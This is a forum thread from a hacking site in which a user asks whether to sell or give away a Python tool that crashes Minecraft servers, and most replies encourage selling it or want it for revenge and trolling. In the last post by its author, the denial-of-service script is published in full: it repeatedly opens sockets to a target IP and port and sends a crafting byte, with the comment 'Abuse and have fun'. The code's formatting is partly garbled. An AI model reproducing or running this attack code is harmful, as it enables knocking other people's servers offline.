Thread: [\[Minecraft\] Server Crasher, Should I release the source/program for free?](#)

p99will - May 4, 2013, 2:29 pm

MARKETPLACE: <https://hackforums.net/showthread.php?tid=3458136>

I just recently made a python code that will down(crash) any/most minecraft servers running in gui-mode.

Some people say that this tool is too over powered and I should keep it to myself and friends.

Should I release the code/program?? if minecraft developers find it it may get patched.

What do you think. Should I share the code with everyone?
Or should I preserve the code and keep it undercover?

HERES A VIDEO IF IT IN ACTION: <http://www.youtube.com/watch?v=SoJHU8zNyhc>
[Video: <http://www.youtube.com/watch?v=SoJHU8zNyhc>]

Pillows - May 4, 2013, 2:30 pm

Well that would suck if it would get patched. I guess try selling it for 2-3 members to decrease the chance of it getting patched. Make it a bit expensive too.

?Taiga Aisaka? - May 4, 2013, 2:31 pm

There are many other ways to crash a server, DDos, command spamming, and even glitching. If you want to generous by all means release it to the right people.

p99will - May 4, 2013, 2:38 pm

(May 4, 2013 02:31 PM)?????? Wrote: [\[CITE\]](#) There are many other ways to crash a server, DDos, command spamming, and even glitching. If you want to generous by all means release it to the right people.

DDosing is unlikely to crash the server unless you use a custom tcp packet message; but it will prevent people joining the server due to the network being overloaded..., command spamming will never crash a server these days and glitches that occur that occur less now.. however I do know some that work.

This program only takes about 1-2 people doing that attack to down server. and it only sends about 50 packets per second.

?Taiga Aisaka? - May 4, 2013, 2:39 pm

PM me i would like to see how this works

Antion - May 4, 2013, 2:54 pm

Sell it first then post it after the users get more updated version.. Make some money before it gets patched...

p99will - May 4, 2013, 4:37 pm

(May 4, 2013 02:54 PM)Antion Wrote: [\[CITE\]](#) Sell it first then post it after the users get more updated version.. Make some money before it gets patched...

How much could I sell this for??
I probably wouldn't sell it for more than \$10

(May 4, 2013 02:39 PM)?????? Wrote: [\[CITE\]](#) PM me i would like to see how this works
I've made a video on it in action. But I am currently traveling and am on 3G. I'll upload it later.

Fluffy_Raptor - May 4, 2013, 7:08 pm

I am also intrested. I am a MC server owner and some fucktard stole 7 people from my server by advertising in PM. I won't share it, I would just like to get some revenge, that's all.

p99will - May 4, 2013, 7:59 pm

7 people hugh? Seems like we have a problem. I am going to 'Sell' the program, Not give it away, but im still deciding on a price..

Fly By Night - May 4, 2013, 8:01 pm

I'd sell it to a few HQ members who will vouch you for it. May start you a business.

p99will - May 4, 2013, 8:09 pm

I NEED TO Know a price to sell this as??

AangJia - May 4, 2013, 8:13 pm

I wouldn't honestly, keep it to yourself. Be proud :)

muzzy. - May 4, 2013, 8:13 pm

You could sell it, but releasing it open source would make it become so saturated that they could patch it instantly; it'd be a waste of your time.

Sell 5-10 licenses to use it to high quality members.

thzs - May 4, 2013, 9:18 pm

looks great pm me it plzz i wont abuse it :P

Upgraded - May 4, 2013, 9:28 pm

I will buy this from you.

How much?

Am I allowed to share with friends?

Turtle™ - May 4, 2013, 10:22 pm

Obviously everyone would like to see the source (whether they believe the tool is fake or not) so why don't you show it to us?

Eminent - May 4, 2013, 11:45 pm

Although I'm a huge believer in open source and free distribution of knowledge, you should probably keep this one to yourself.

Swifthider - July 28, 2013, 4:21 pm

You should release it, I would LOVE that program to troll bad server owners :D

Sir Michal - July 28, 2013, 4:51 pm

Why would you even ask that? Its obvious sell it -_-

azqswx - July 29, 2013, 2:29 am

I would like buy this program by I can't send MP... :'(

p99will - August 5, 2013, 4:52 am

free - source:

```
Code #Minecraft server crashed - only works to servers running in gui mode.  
#coded by p99will  
#designed by p99will  
# Abuse and have fun
```

```
import socket,thread,time,os  
packet = 100  
def own():  
    global ip  
    global packet  
    global port  
    while go:  
        try:  
            s=socket.socket()  
            s.connect((ip,port))  
            s.send('\x02') ##this is what pwnz it  
            packet += 1  
            s.close()  
        except:  
            pass  
go = True  
  
def packets():  
    global packet  
    global go  
    try:  
        count = 1  
        while go:  
            print 'Packets Per Second(Average): '+str(packet/count)  
            count += 1  
            time.sleep(1)  
        except:

    global port  
    global go  
    try:  
        while go:  
  
            packet = 0  
            data = ""  
            s=socket.socket()  
            try:
```

```

s.connect((ip,port))
s.send('\x02')
data = s.recv(1024)
except:
data = ""
if not(data) == "":
pass
else:
time.sleep(2)
go = False
time.sleep(1)
except:
print 'Error code: 2'
print 'Welcome To p99will's Server Downer, Please Enter the ip and port\nof the server you wish to
destroy'
print 'ip of the computer you wish to jam an iron rod in: '
ip = raw_input()
try:
print 'computer port of what hole the rod goes in: '
port = input()
except:
print 'Error code: 3, Invalid port'
print 'ramming the rod into: '+ip+', in the port: '+str(port)
try:
thread.start_new_thread(keep,())
thread.start_new_thread(packets,())
time.sleep(0.1)
except:
print 'Error code: 4'
while go:
try:
thread.start_new_thread(own())
except:
time.sleep(0.5)
print 'Server broke :(, What a shayme'
time.sleep(5)
http://pastebin.com/tbQu4U28

```

full credit please, :)

Have fun. - cbf compiling it. so if someone could do that for other members that would be great.

liopp - August 5, 2013, 6:13 am

yup pls release it i would eb grateful

SkyRider2 - August 5, 2013, 6:14 am

Looks good man, hope if you end up selling it, it goes all well.

Arizonalce - August 5, 2013, 6:16 am

So this only takes down servers with the official minecraft server GUI? Not may servers us it...

LogoiLab - January 8, 2014, 3:07 pm

i find it interesting...it seems better than just DDoSing the crap out of it...for that Slowloris is king...

is it java or something else?... HOW TO COMPILE?!?(eclipse or what?)

Blue Moon - *January 8, 2014, 3:31 pm*

Don't grave dig old threads, the last post was in August, no reason to ask question this amount of time from the original post.
